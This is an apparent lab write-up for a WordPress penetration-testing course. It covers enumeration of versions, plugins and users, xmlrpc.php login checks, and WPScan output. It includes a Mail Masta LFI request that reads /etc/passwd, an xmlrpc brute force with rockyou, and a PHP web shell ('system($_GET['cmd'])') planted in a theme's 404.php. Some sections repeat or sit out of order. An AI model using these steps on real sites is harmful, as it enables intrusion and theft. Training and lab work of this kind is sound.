Hacking WordPress

Introduction

WordPress Overview

WordPress is the world’s most widely used open-source Content Management System (CMS), powering nearly a third of all websites globally. It serves a variety of purposes, from personal blogs and discussion forums to e-commerce platforms, project tracking tools, and document management systems. One of the main reasons for its popularity is its flexibility and strong SEO capabilities, making it an attractive choice for businesses of all sizes.

The platform provides thousands of extensions in the form of themes and plugins, available both for free and for purchase. These add-ons extend functionality—for example, WPForms for building contact forms, MonsterInsights for integrating Google Analytics, and Constant Contact for managing email campaigns. While this extensibility is powerful, it can also open the door to security risks, particularly when third-party themes or plugins contain vulnerabilities.

WordPress itself is built with PHP, typically runs on Apache, and relies on MySQL databases. Many hosting providers make setting up WordPress extremely simple by offering one-click installations and managing background tasks such as updates and security patches.

In this module, we will break down the structure of a WordPress website, explore both manual and automated methods to enumerate misconfigurations and flaws, and demonstrate common attack techniques. You’ll also practice carrying out your own enumeration and exploitation against a WordPress environment. The module concludes with a Skills Assessment, where you will put everything together and fully compromise a WordPress site and its underlying server.

Stay creative, keep exploring, and remember—hackers think differently!

What is a CMS?

A Content Management System (CMS) is a platform that enables users to build and manage websites without having to write code from the ground up—or even know how to code at all. It handles most of the technical “heavy lifting,” allowing you to focus on design, content, and presentation rather than backend complexities.

Most CMS solutions feature a What You See Is What You Get (WYSIWYG) editor, which works much like Microsoft Word, so you can easily format text, insert links, and manage layout. They also include a media library, where you can upload and embed images, videos, and documents without directly interacting with the web server via FTP or SFTP.

A CMS generally consists of two main components:

  • Content Management Application (CMA): The user-facing interface where content is created and managed.
  • Content Delivery Application (CDA): The backend system that processes input from the CMA and delivers it as a fully functioning, visually styled website.

An effective CMS offers several key features:

  • Extensibility: Add extra tools and design features without touching source code.
  • User Management: Define roles and permissions with fine-grained access control.
  • Media Handling: Easily upload and organize images, videos, and other assets.
  • Version Control: Keep track of changes and roll back if needed.
  • Security & Maintenance: Receive frequent updates, patches, and built-in safeguards to minimize the risk of attacks.

When evaluating a CMS, it’s important to ensure that it is well supported, frequently updated, and designed with strong security features in mind.

WordPress Structure

Default WordPress File Layout

WordPress can be set up on various operating systems, including Windows, Linux, and macOS. In this module, we’ll be focusing on the standard installation on an Ubuntu Linux server. Before WordPress itself can be installed, the server needs a fully working LAMP stack—which includes:

  • Linux as the operating system
  • Apache as the web server
  • MySQL as the database engine
  • PHP as the scripting language

Once these components are properly configured, WordPress can be deployed. By default, its files are placed in the server’s webroot directory, usually located at:

/var/www/html

Inside this folder, you’ll find all the essential files and directories that make the site run. These include the core WordPress files, as well as folders for themes, plugins, uploads, and configuration files. Understanding this directory structure is important for troubleshooting, customization, and security hardening.

WordPress Structure

Default WordPress File Layout

WordPress can run on Windows, Linux, or macOS. In this module we’ll concentrate on a standard WordPress install on an Ubuntu Linux server. Before installing WordPress on Linux you must have a working LAMP stack (Linux, Apache, MySQL, PHP). After setup, WordPress files are typically placed in the web root directory, commonly:

/var/www/html

Below is the default directory listing for a fresh WordPress installation — it shows the main files and top-level folders the site needs to operate.

File structure

suricatoti@local[/local]$ tree -L 1 /var/www/html
.
├── index.php
├── license.txt
├── readme.html
├── wp-activate.php
├── wp-admin
├── wp-blog-header.php
├── wp-comments-post.php
├── wp-config.php
├── wp-config-sample.php
├── wp-content
├── wp-cron.php
├── wp-includes
├── wp-links-opml.php
├── wp-load.php
├── wp-login.php
├── wp-mail.php
├── wp-settings.php
├── wp-signup.php
├── wp-trackback.php
└── xmlrpc.php

Important WordPress Files

The root of the WordPress install contains several files required for operation and configuration:

  • index.php — Entry point for the site (the homepage loader).
  • license.txt — License and version-related information.
  • wp-activate.php — Handles email activation workflows for multisite or user signup flows.
  • wp-admin/ — Administration area (dashboard) and the backend UI. After authenticating, users with appropriate roles can manage settings, content, themes, and plugins. Common login endpoints include:
    • /wp-admin/login.php
    • /wp-admin/wp-login.php
    • /login.php
    • /wp-login.php
      (Some administrators rename or obscure the login paths to reduce automated discovery attempts.)
  • xmlrpc.php — Legacy endpoint that allowed remote XML-RPC communication with WordPress (largely superseded by the REST API but still present in many installs).

WordPress Configuration File

wp-config.php stores the database connection details and other critical settings. It includes:

  • Database name, user, password, and host
  • Authentication keys and salts for cookie and session security
  • Table prefix used for all WordPress tables
  • Debugging options (for troubleshooting)

A simplified excerpt looks like this:

<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** MySQL database username */
define( 'DB_USER', 'username_here' );

/** MySQL database password */
define( 'DB_PASSWORD', 'password_here' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Authentication Unique Keys and Salts */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
/* ... other salts ... */

/** WordPress Database Table prefix */
$table_prefix = 'wp_';

/** For developers: WordPress debugging mode. */
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
    define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

Note: Because wp-config.php contains secrets (DB credentials, salts), it must be protected — improper exposure can lead to full site compromise.

Key WordPress Directories

  • wp-content/ — This is where user-managed assets live:
    • plugins/ — All installed plugins.
    • themes/ — Active and available themes.
    • uploads/ — Media uploads (images, documents, etc.).
      These folders are high-value for enumeration because misconfigured plugins, writable upload directories, or vulnerable themes can lead to data leaks or remote code execution.

Example:

suricatoti@local[/local]$ tree -L 1 /var/www/html/wp-content
.
├── index.php
├── plugins
└── themes
  • wp-includes/ — Contains the WordPress core library code (functions, classes, JavaScript libraries, widgets, and other shared resources). It houses core implementation files such as wp-db.php, version.php, widget code, and helper libraries.

Example:

suricatoti@local[/local]$ tree -L 1 /var/www/html/wp-includes
.
├── <SNIP>
├── theme.php
├── update.php
├── user.php
├── vars.php
├── version.php
├── widgets
├── widgets.php
├── wlwmanifest.xml
├── wp-db.php
└── wp-diff.php

WordPress User Roles

A standard WordPress installation defines five default user roles, each with different privileges:

  • Administrator — Has full control of the site. Administrators can add, remove, and edit users, change settings, install or delete plugins and themes, and modify site code. Compromising an administrator account typically enables remote code execution or full site takeover.
  • Editor — Can publish and manage posts and pages, including those created by other users. Editors have broad content control but do not have access to core administrative settings.
  • Author — Allowed to write, edit, and publish their own posts. Authors cannot edit or publish other users’ content.
  • Contributor — Can create and edit their own posts but cannot publish them. Their submissions require review by an Editor or Administrator.
  • Subscriber — A basic user account used mainly for reading content and managing a personal profile. Subscribers have the fewest privileges.

While obtaining an Administrator account is usually required to achieve code execution on the server, lower-privilege roles like Editor and Author can still be valuable targets during an assessment—some plugins expose functionality to those roles that could be abused to escalate privileges or execute attacks.

WordPress Core Version Enumeration

Identifying the WordPress version running on a target site is a fundamental part of the enumeration phase. Knowing the version number helps determine whether the installation is vulnerable to known exploits, suffers from misconfigurations, or may still use weak default credentials.

There are several practical methods to uncover this information:

1. Checking the Page Source

The simplest approach is to review the page’s HTML source code:

  • Right-click anywhere on the page → View Page Source (or use CTRL + U).
  • Search (CTRL + F) for the meta generator tag.

Example:

&lt;meta name="generator" content="WordPress 5.3.3" />

Using cURL + grep

curl -s -X GET http://blog.exemple.com | grep '<meta name="generator"'

Output:

<meta name="generator" content="WordPress 5.3.3" />

This reveals the exact WordPress version.

2. Inspecting CSS Files

Version numbers may appear in linked stylesheets:

<link rel='stylesheet' id='bootstrap-css'  
href='http://blog.exemple.com/wp-content/themes/ben_theme/css/bootstrap.css?ver=5.3.3' />

The ?ver=5.3.3 parameter hints at the installed WordPress version.

3. Inspecting JavaScript Files

JavaScript libraries often include version identifiers:

<script type='text/javascript' src='http://blog.exemple.com/wp-content/plugins/mail-masta/lib/subscriber.js?ver=5.3.3'></script>

Here, WordPress 5.3.3 is again exposed via plugin references.

4. Legacy readme.html

In older WordPress installations, the readme.html file located in the root directory may reveal version details:

http://target-site.com/readme.html

This method works if the file hasn’t been removed by the administrator.

5. Other Clues

  • HTML Comments — Developers sometimes leave notes in source code.
  • Theme & Plugin Paths — Stylesheets and scripts may show version info.
  • API Endpoints — WordPress REST API responses may leak version details.

Plugins & Themes Discovery

You can identify installed plugins and themes by examining the page source manually or by using command-line tools (cURL, sed, grep, etc.) to filter the HTML for asset paths.

Finding Plugins from Source/Assets

A quick way to spot plugins is to parse the page HTML for references to /wp-content/plugins/. Example (using the target site from earlier):

suricatoti@local[/local]$ curl -s -X GET http://blog.exemple.com \
  | sed 's/href=/\n/g' \
  | sed 's/src=/\n/g' \
  | grep 'wp-content/plugins/*' \
  | cut -d"'" -f2

Output shows plugin-related assets and often includes version query strings:

http://blog.exemple.com/wp-content/plugins/wp-google-places-review-slider/public/css/wprev-public_combine.css?ver=6.1
http://blog.exemple.com/wp-content/plugins/mail-masta/lib/subscriber.js?ver=5.3.3
http://blog.exemple.com/wp-content/plugins/mail-masta/lib/jquery.validationEngine-en.js?ver=5.3.3
...

Finding Themes from Source/Assets

Similarly, theme files frequently appear in page assets under /wp-content/themes/. Example command:

suricatoti@local[/local]$ curl -s -X GET http://blog.exemple.com \
  | sed 's/href=/\n/g' \
  | sed 's/src=/\n/g' \
  | grep 'themes' \
  | cut -d"'" -f2

This reveals theme CSS, JS and image paths — again often with ?ver= parameters that hint at versions:

http://blog.exemple.com/wp-content/themes/ben_theme/css/bootstrap.css?ver=5.3.3
http://blog.exemple.com/wp-content/themes/ben_theme/style.css?ver=5.3.3
http://blog.exemple.com/wp-content/themes/ben_theme/js/navigation.js?ver=5.3.3
...
background: url("http://blog.exemple.com/wp-content/themes/ben_theme/images/breadcrumb-back.jpg")

Response headers from requests to certain plugin/theme files can also leak version information.

Active Enumeration (Probing for Existence)

Not every plugin or theme will be exposed in page markup. To actively check if a plugin or theme exists, send targeted requests to likely plugin/theme paths and inspect the HTTP status or redirects:

  • If the path exists you may see a 200 OK or a redirect (e.g., 301 Moved Permanently) to the directory.
  • If it doesn’t exist you typically get 404 Not Found.

Examples:

Check for an existing plugin directory:

suricatoti@local[/local]$ curl -I -X GET http://blog.exemple.com/wp-content/plugins/mail-masta

HTTP/1.1 301 Moved Permanently
Date: Wed, 13 May 2020 20:08:23 GMT
Server: Apache/2.4.29 (Ubuntu)
Location: http://blog.exemple.com/wp-content/plugins/mail-masta/
...

Probe for a non-existent plugin:

suricatoti@local[/local]$ curl -I -X GET http://blog.exemple.com/wp-content/plugins/someplugin

HTTP/1.1 404 Not Found
Date: Wed, 13 May 2020 20:08:18 GMT
Server: Apache/2.4.29 (Ubuntu)
...

The same technique applies to theme directories under /wp-content/themes/.

Automation & Faster Enumeration

Manually checking every path is slow — you can speed things up by scripting or using automated tools that maintain large wordlists of plugin and theme names:

  • Simple approach: write a bash loop to request a list of candidate plugin/theme directories.
  • Tools: wfuzz, dirb, gobuster, or WordPress-specific scanners like WPScan will automate discovery and often provide version/plugin vulnerability checks.

Security Note

Assets under wp-content (plugins, themes, uploads) are high-value for attackers. Misconfigured plugins, outdated versions, or writable upload directories are common escalation paths — make sure to enumerate these carefully during assessments.

Directory Indexing

When testing WordPress environments, it’s important to note that vulnerable plugins don’t need to be active to pose a risk. Even deactivated plugins may remain accessible on the server, exposing their files, scripts, and potentially exploitable functions. Simply deactivating an insecure plugin does not protect the site—unused plugins should always be either removed completely or kept fully updated.

For example, in the WordPress dashboard you might see the Mail Masta plugin marked as “Inactive” with the option to activate or delete. However, browsing directly to its directory still reveals the plugin files:

http://<target>/wp-content/plugins/mail-masta/

A directory listing might display:

amazon_api/
inc/
lib/
plugin-interface.php
readme.txt

This shows that the plugin’s code is still present and accessible.

Using cURL to View Directory Listings

Attackers can fetch directory contents with tools like cURL and format the HTML response with html2text for readability:

suricatoti@local[/local]$ curl -s -X GET \
http://blog.exemple.com/wp-content/plugins/mail-masta/ | html2text

Example output:

****** Index of /wp-content/plugins/mail-masta ******
[DIR] amazon_api/          
[DIR] inc/                 
[DIR] lib/                 
     plugin-interface.php   88K  
[TXT] readme.txt           2.2K  
-----------------------------------------------------
Apache/2.4.29 (Ubuntu) Server at blog.exemple.com Port 80

Keep in mind the key WordPress directories discussed in the WordPress Structure section. Manually enumerate the target for any directories whose contents can be listed. Browse these directories and locate a flag with the file name flag.txt and submit its contents as the answer.

It is possible to access this folder through the terminal using cURL with the following command:

curl -s -X GET http://127.0.0.1:51115
 | sed 's/href/\n&/g' | sed 's/src/\n&/g' | grep 'wp-content/plugins/*' | cut -d'"' -f2
http://127.0.0.1:51115/wp-content/plugins/photo-gallery/css/bwg-fonts/fonts.css?ver=0.0.1
http://127.0.0.1:51115/wp-content/plugins/photo-gallery/css/sumoselect.min.css?ver=0.3.3
http://127.0.0.1:51115/wp-content/plugins/photo-gallery/css/jquery.mCustomScrollbar.min.css?ver=1.5.34
http://127.0.0.1:51115/wp-content/plugins/photo-gallery/css/styles.min.css?ver=1.5.34
http://127.0.0.1:51115/wp-content/plugins/wp-google-places-review-slider/public/css/wp-review-public_combine.css?ver=6.1
http://127.0.0.1:51115/wp-content/plugins/mail-masta/lib/subscriber.js?ver=1.5.6
http://127.0.0.1:51115/wp-content/plugins/mail-masta/lib/jquery.validationEngine-en.js?ver=1.5.6
http://127.0.0.1:51115/wp-content/plugins/photo-gallery/js/jquery.sumoselect.min.js?ver=0.3.3
http://127.0.0.1:51115/wp-content/plugins/photo-gallery/js/jquery.mobile.min.js?ver=1.4.3
http://127.0.0.1:51115/wp-content/plugins/photo-gallery/js/jquery.mCustomScrollbar.concat.min.js?ver=1.5.34
http://127.0.0.1:51115/wp-content/plugins/photo-gallery/js/jquery.fullscreen-0.4.1.min.js?ver=0.4.1
http://127.0.0.1:51115/wp-content/plugins/photo-gallery/js/jsscripts.min.js?ver=1.5.34
http://127.0.0.1:51115/wp-content/plugins/wp-google-places-review-slider/public/js/wp-review-public-com-min.js?ver=6.1
http://127.0.0.1:51115/wp-content/plugins/mail-masta/lib/css/mm_frontend.css?ver=1.5.6

As you can see above, there are three active plugins on the site I received. The installed plugins are the following:

  • gallery de fotos (photo gallery)
  • wp-google-places-review-slider control
  • mail-masta

Next, I accessed each of the URLs I obtained from the list above, one per plugin. Those URLs then opened the file location on the web server. What I did was manually navigate from there in my browser — that is, from the file back to the folder where it was saved — and check whether the file flag.txt was there. If not, I tried going up one folder to see if anything was there. I kept doing this until I found the file.

Finally, I found the file flag.txt in the mail-masta plugin at /wp/plugins/mail-masta/inc/ and in that list of folders and files the flag.txt file was present.

Open this file to get the flag.

[REDACTED]

Why This Matters (Directory Indexing Risks)

This situation—called Directory Indexing—occurs when the web server is configured to list directory contents instead of denying access. It allows anyone to browse plugin or theme folders and directly download files that may contain:

  • Sensitive information: configuration files, API keys, database queries.
  • Exploitable code: outdated or vulnerable PHP scripts still reachable by attackers.
  • Readme files: often reveal plugin version numbers, making it easier to match with known CVEs.

Best Practice

To mitigate this risk, administrators should:

  1. Disable directory indexing in the Apache or Nginx configuration.
    • For Apache, this is done by removing the Options Indexes directive.
  2. Remove or update inactive plugins rather than leaving them on the system.
  3. Restrict access to sensitive directories with .htaccess rules or server-level settings.

Key Takeaway:
Deactivated plugins are not harmless. If directory indexing is enabled, attackers can still access and analyze them. Always remove or secure unused components to reduce the attack surface.

Keep in mind the key WordPress directories discussed in the WordPress Structure section. Manually enumerate the target for any directories whose contents can be listed. Browse these directories and locate a flag with the file name flag.txt and submit its contents as the answer.

User enumeration
Compiling a list of valid WordPress accounts is an essential step in a security review. With those usernames in hand, an attacker can try common default passwords or launch credential-stuffing and brute-force attacks. If they succeed, they might gain access to the WordPress admin area as an author or administrator, which could then be used to alter site content or interact with the web server itself.

User enumeration

Compiling a list of valid WordPress accounts is an essential step in a security review. With those usernames in hand, an attacker can try common default passwords or launch credential-stuffing and brute-force attacks. If they succeed, they might gain access to the WordPress admin area as an author or administrator, which could then be used to alter site content or interact with the web server itself.

From the last cURL command, what user name is assigned to User ID 2?

suricatoti@local[/local]$ curl http://blog.exemple.com/wp-json/wp/v2/users | jq

[
  {
    "id": 1,
    "name": [REDACTED],
    "url": "",
    "description": "",
    "link": "http://blog.exemple.com/index.php/author/admin/",
    <SNIP>
  },
  {
    "id": 2,
    "name": "_____________",
    "url": "",
    "description": "",
    "link": "http://blog.exemple.com/index.php/author/ch4p/",
    <SNIP>
  },
  <SNIP>
]

Login

After collecting a set of confirmed usernames, we can attempt a password-brute force to gain access to the WordPress admin area. This can be done either through the normal login form or by submitting requests to xmlrpc.php.

If a POST to xmlrpc.php contains valid credentials the server responds with details like the following:

# cURL - POST Request
suricatoti@local[/local]$ curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>CORRECT-PASSWORD</value></param></params></methodCall>" http://blog.exemple.com/xmlrpc.php

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><struct>
  <member><name>isAdmin</name><value><boolean>1</boolean></value></member>
  <member><name>url</name><value><string>http://blog.exemple.com/</string></value></member>
  <member><name>blogid</name><value><string>1</string></value></member>
  <member><name>blogName</name><value><string>exemple</string></value></member>
  <member><name>xmlrpc</name><value><string>http://blog.exemple.com/xmlrpc.php</string></value></member>
</struct></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

If the supplied credentials are incorrect, the server returns a 403 fault code. Example:

# Invalid Credentials - 403 Forbidden
suricatoti@local[/local]$ curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>asdasd</value></param></params></methodCall>" http://blog.exemple.com/xmlrpc.php

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>403</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>Incorrect username or password.</string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>

Summary

The previous sections covered a number of manual techniques for enumerating and testing a WordPress installation. It’s important to master these manual approaches before relying on automated scanners. Automated tools speed up assessments but also carry the risk of unintended impact — and when those tools fail or produce odd results, knowledge of manual methods is invaluable for diagnosing problems and validating findings.

Search for “WordPress xmlrpc attacks” and find out how to use it to execute all method calls. Enter the number of possible method calls of your target as the answer.

So, my intention was to research online how WordPress xmrpc attacks work, how they can be executed, and how many possibilities exist to run them against the target machine on Hack The Box.

First, I started searching online about how these attacks work. During the search, I quickly came across the following: https://nitesculucian.github.io/2019/07/01/exploiting-the-xmlrpc-php-on-all-wordpress-versions/ — a site where someone describes how to carry out an xmlrpc attack against a WordPress site. I used that to implement the attack myself.

To do this, I first opened Burp Suite on the workstation with the target site in the integrated browser and set it to interception mode, as shown in the image below.

Search for “WordPress xmlrpc attacks” and find out how to use it to execute all method calls. Enter the number of possible method calls of your target as the answer.

Open Burp Suite and intercept the request from the address bellow

http://127.0.0.1:44647/xmlrpc.php

Right-click on the request and choose Send to Repeater

On the repeater, right-click on the request and choose Change Request Method. Copy the code bellow at the end of the request and click on Send button

Count the number of methods on the Response.

[REDACTED]

WPScan Enumeration

The --enumerate option tells WPScan to discover different parts of a WordPress installation — for example, plugins, themes, and user accounts. By default WPScan will look for vulnerable plugins and themes, user accounts, media files, and backups. You can narrow the enumeration to specific items by passing extra arguments; for instance, --enumerate ap will list all plugins. Below we’ll run a standard enumeration scan against a WordPress site.

Note: WPScan uses 5 threads by default. You can change this with the -t option.

Enumerate the provided WordPress instance for all installed plugins. Perform a scan with WPScan against the target and submit the version of the vulnerable plugin named “photo-gallery”.

Use WpScan to find the module version

$ wpscan --url http://127.0.0.1:44647/
 --enumerate --api-token <PUT_YOUR_API_KEY_HERE>

WPScan
WordPress Security Scanner by the WPScan Team
Version 3.8.28
Sponsored by Automattic - https://automattic.com/
@WPScan, @ethicalhack3r, @erwan_lr, @firefart
[+] URL: http://127.0.0.1:44647/
 [127.0.0.1]
[+] Started: Wed Oct 8 19:57:22 2025
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: nginx
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://127.0.0.1:44647/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - https://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://127.0.0.1:44647/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has Listing enabled: http://127.0.0.1:44647/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://127.0.0.1:44647/wp-cron.php
| [!] Title: Photo Gallery < 1.8.34 - Unauthenticated Stored XSS
| Fixed in: 1.8.34
| References:
|  - https://wpscan.com/vulnerability/52bb8f2b-73a1-47ae-bb00-04dffed07b91
|  - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-13124
|  - https://research.cleantalk.org/cve-2024-13124
|
| [!] Title: Photo Gallery by 10Web – Mobile-Friendly Image Gallery < 1.8.35 Reflected Cross-Site Scripting via `image_id` Parameter
| Fixed in: 1.8.35
| References:
|  - https://wpscan.com/vulnerability/6ab6b9eb-d153-4474-ad5c-1658900ec97b
|  - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-2269
|  - https://www.wordfence.com/threat-intel/vulnerabilities/id/ce261415-870c-4300-85e8-b15a0c27eec5
|
| Version: [REDACTED] (100% confidence)
| Found By: Query Parameter (Passive Detection)
|  - http://127.0.0.1:44647/wp-content/plugins/photo-gallery/css/jquery.mCustomScrollbar.min.css?ver=1.5.34
|  - http://127.0.0.1:44647/wp-content/plugins/photo-gallery/css/styles.min.css?ver=1.5.34
|  - http://127.0.0.1:44647/wp-content/plugins/photo-gallery/js/jquery.mCustomScrollbar.concat.min.js?ver=1.5.34
|  - http://127.0.0.1:44647/wp-content/plugins/photo-gallery/js/scripts.min.js?ver=1.5.34
| Confirmed By: Readme (Aggressive Detection)
|  - http://127.0.0.1:44647/wp-content/plugins/photo-gallery/readme.txt
| Enabled: Stable Tag (Aggressive Detection)
|  - http://127.0.0.1:44647/wp-content/plugins/photo-gallery/readme.txt
|
| [+] wp-google-places-review-slider
|  Location: http://127.0.0.1:44647/wp-content/plugins/wp-google-places-review-slider/
|  Last Updated: 2025-10-01T21:31:09:00.000Z
|  [!] The version is out of date, the latest version is 17.4
|  Found By: URLs In Homepage (Passive Detection)
|  Confirmed By: URLs In 404 Page (Passive Detection)
|
| [!] 7 vulnerabilities identified:
|
|  [!] Title: WP Google Review Slider < 6.1 - Authenticated SQL Injection
|  Fixed in: 6.2
|  References:
|   - https://wpscan.com/vulnerability/a21fe67d-2359-43a4-991c-cbe11bada7d8
|
|  [!] Title: WP Google Review Slider < 11.6 - Admin Stored XSS
|  Fixed in: 11.6
|  References:
|   - https://wpscan.com/vulnerability/d7f89335-63cc-47c6-bef9-92f556caaa087
|   - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-4242
|
|  [!] Title: WP Google Review Slider < 11.8 - Subscriber+ SQLi
|  Fixed in: 11.8
|  References:
|   - https://wpscan.com/vulnerability/d3bbceae-f14e-4191-8f30-104a5bb54558
|   - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0259
|
|  [!] Title: Freemius SDK < 2.5.10 - Reflected Cross-Site Scripting
|  Fixed in: 2.6
|  References:
|   - https://wpscan.com/vulnerability/35d2f1e7-a4f8-49fd-a8dd-bb2c26710f93

Exploiting a Vulnerable Plugin

WPScan’s report shows the site is running an older WordPress release (5.3.2) and an outdated theme (Twenty Twenty). The scanner also flagged two insecure plugins: Mail Masta 1.0 and Google Review Slider. In particular, the Mail Masta version is documented to contain both SQL injection and local file inclusion (LFI) flaws. The report includes links to proof-of-concepts that explain how those issues can be exploited.

Now we’ll check whether the LFI is exploitable by following the exploit-db writeup. According to that advisory, an unauthenticated attacker can read local files using a request like:
/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd.

Use the same LFI vulnerability against your target and read the contents of the “/etc/passwd” file. Locate the only non-root user on the system with a login shell.

The WPScan report shows the site is running an outdated WordPress (v5.3.2) and an old Twenty Twenty theme. It also flagged two vulnerable plugins — Mail Masta 1.0 and Google Review Slider. The Mail Masta 1.0 release is documented to be susceptible to both SQL injection and local file inclusion (LFI). The report includes links to proof-of-concepts that explain how those issues can be exploited.

We checked the LFI for exploitability using the exploit-db entry referenced in the report. That advisory claims an unauthenticated attacker can read local files by requesting a URL like:
/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd.


Attacking WordPress Users

WPScan can attempt to discover and crack WordPress account credentials. The scan revealed three user accounts on the site: admin, roger, and david. WPScan supports two brute-force approaches: the standard wp-login method which targets the normal login form, and the xmlrpc method which uses the WordPress XML-RPC API (/xmlrpc.php) to submit authentication attempts. The XML-RPC approach is generally faster than wp-login.

Perform a bruteforce attack against the user “roger” on your target with the wordlist “rockyou.txt”. Submit the user’s password as the answer.

On your terminal, use the command bellow:

[+] photo-gallery
|  Location: http://127.0.0.1:44647/wp-content/plugins/photo-gallery/
|  Last Updated: 2025-03-29T10:56:00.000Z
|  [!] The version is out of date, the latest version is 1.8.35
|
|  Found By: Urls In Homepage (Passive Detection)
|  Found By: Urls In 404 Page (Passive Detection)
|
|  Version: 1.5.34 (100% confidence)
|  Found By: Query Parameter (Passive Detection)
|   - http://127.0.0.1:44647/wp-content/plugins/photo-gallery/css/jquery.mCustomScrollbar.min.css?ver=1.5.34
|   - http://127.0.0.1:44647/wp-content/plugins/photo-gallery/css/styles.min.css?ver=1.5.34
|   - http://127.0.0.1:44647/wp-content/plugins/photo-gallery/js/jquery.mCustomScrollbar.concat.min.js?ver=1.5.34
|   - http://127.0.0.1:44647/wp-content/plugins/photo-gallery/js/scripts.min.js?ver=1.5.34
|  Confirmed By: Readme (Aggressive Detection)
|   - http://127.0.0.1:44647/wp-content/plugins/photo-gallery/readme.txt
|  Confirmed By: Stable Tag (Aggressive Detection)
|   - http://127.0.0.1:44647/wp-content/plugins/photo-gallery/readme.txt
|
[+] wp-google-places-review-slider
|  Location: http://127.0.0.1:44647/wp-content/plugins/wp-google-places-review-slider/
|  Last Updated: 2025-10-06T21:39:00.000Z
|  [!] The version is out of date, the latest version is 17.4
|
|  Found By: Urls In Homepage (Passive Detection)
|  Found By: Urls In 404 Page (Passive Detection)
|
|  Version: 6.1 (80% confidence)
|  Found By: Readme - Stable Tag (Aggressive Detection)
|   - http://127.0.0.1:44647/wp-content/plugins/wp-google-places-review-slider/README.txt

[+] Enumerating Config Backups (Via Passive and Aggressive Methods)
Checking Config Backups Time: 00:00:02

[!] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - roger / lizard
Trying roger / filipa Time: 00:00:43 < 

[!] Valid Combinations Found:
| Username: roger, Password: [REDACTED]

[!] No WPScan API Token given, as a result vulnerability data has not been output.
You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[*] Finished: Wed Oct 8 20:00:09 2025
[*] Requests Done: 209
[*] Requests Remaining: 0
[*] Data Sent: 1.24 MB
[*] Data Received: 23.908 MB
[*] Memory used: 319.066 MB
[*] Elapsed time: 00:01:00

Remote Code Execution (RCE) via the Theme Editor

If we obtain administrator credentials for WordPress, we can alter PHP files to run system-level commands. After logging in with an admin account, you’ll be redirected to the dashboard. From there, go to AppearanceTheme Editor. The Theme Editor lets you change theme PHP files directly. To minimize risk of breaking the live site, choose a theme that is not currently active before making edits.

Use the credentials for the admin user [admin:sunshine1] and upload a webshell to your target. Once you have access to the target, obtain the contents of the “flag.txt” file in the home directory for the “wp-user” directory.

Open the login page, use the credentials admin:sunshine1

http://127.0.0.1:44647/wp-login.php

In WordPress administration page, open the path bellow

Open the page 404 template (404.php)

And insert the script bellow

system($_GET['cmd']);

Save the page and open the link of this file to test your script. Open the address.

http://127.0.0.1:42746/wp-content/themes/twentyseventeen/404.php?cmd=ls /home/wp-user

Use the command cat to see the content of the file

http://127.0.0.1:42746/wp-content/themes/twentyseventeen/404.php?cmd=cat%20/home/wp-user/flag.txt

Skills Assessment – WordPress

We’ve reached the module’s conclusion!

It’s time to apply the new techniques you’ve learned. This final skills check will evaluate your understanding of the module’s topics by applying them to a fresh WordPress target.

Scenario
You’re hired to conduct an external penetration test for EXEMPLE, whose primary public website runs on WordPress.

Thoroughly enumerate the target using the methods taught in this module to discover several flags. Your goal is to escalate to shell access on the web server to retrieve the final flag.

Note: Be familiar with how Linux handles DNS mapping when a nameserver is not present.

Identify the WordPress version number.

Open the blog link, for this insert the DNS in your /etc/hosts file

sudo nano /etc/hosts
GNU nano 8.6
127.0.0.1       localhost
127.0.1.1       kali.suricato    kali

127.0.0.1  xss.local.net csrf.local.net oredirect.local.net minilab.local.net

127.0.0.1   blog.local.local

# The following lines are desirable for IPv6 capable hosts
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

Use WpScan to scan the blog

$ wpscan --url http://blog.exemple.local --enumerate --api-token ███████████████████████████████

WPScan
WordPress Security Scanner by the WPScan Team
Version 3.8.28
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

[+] URL: http://blog.exemple.local/ [127.0.0.1]
[+] Started: Thu Oct  9 10:43:03 2025

Interesting Finding(s):

[+] Headers
|  Interesting Entries:
|   - Server: Apache/2.4.29 (Ubuntu)
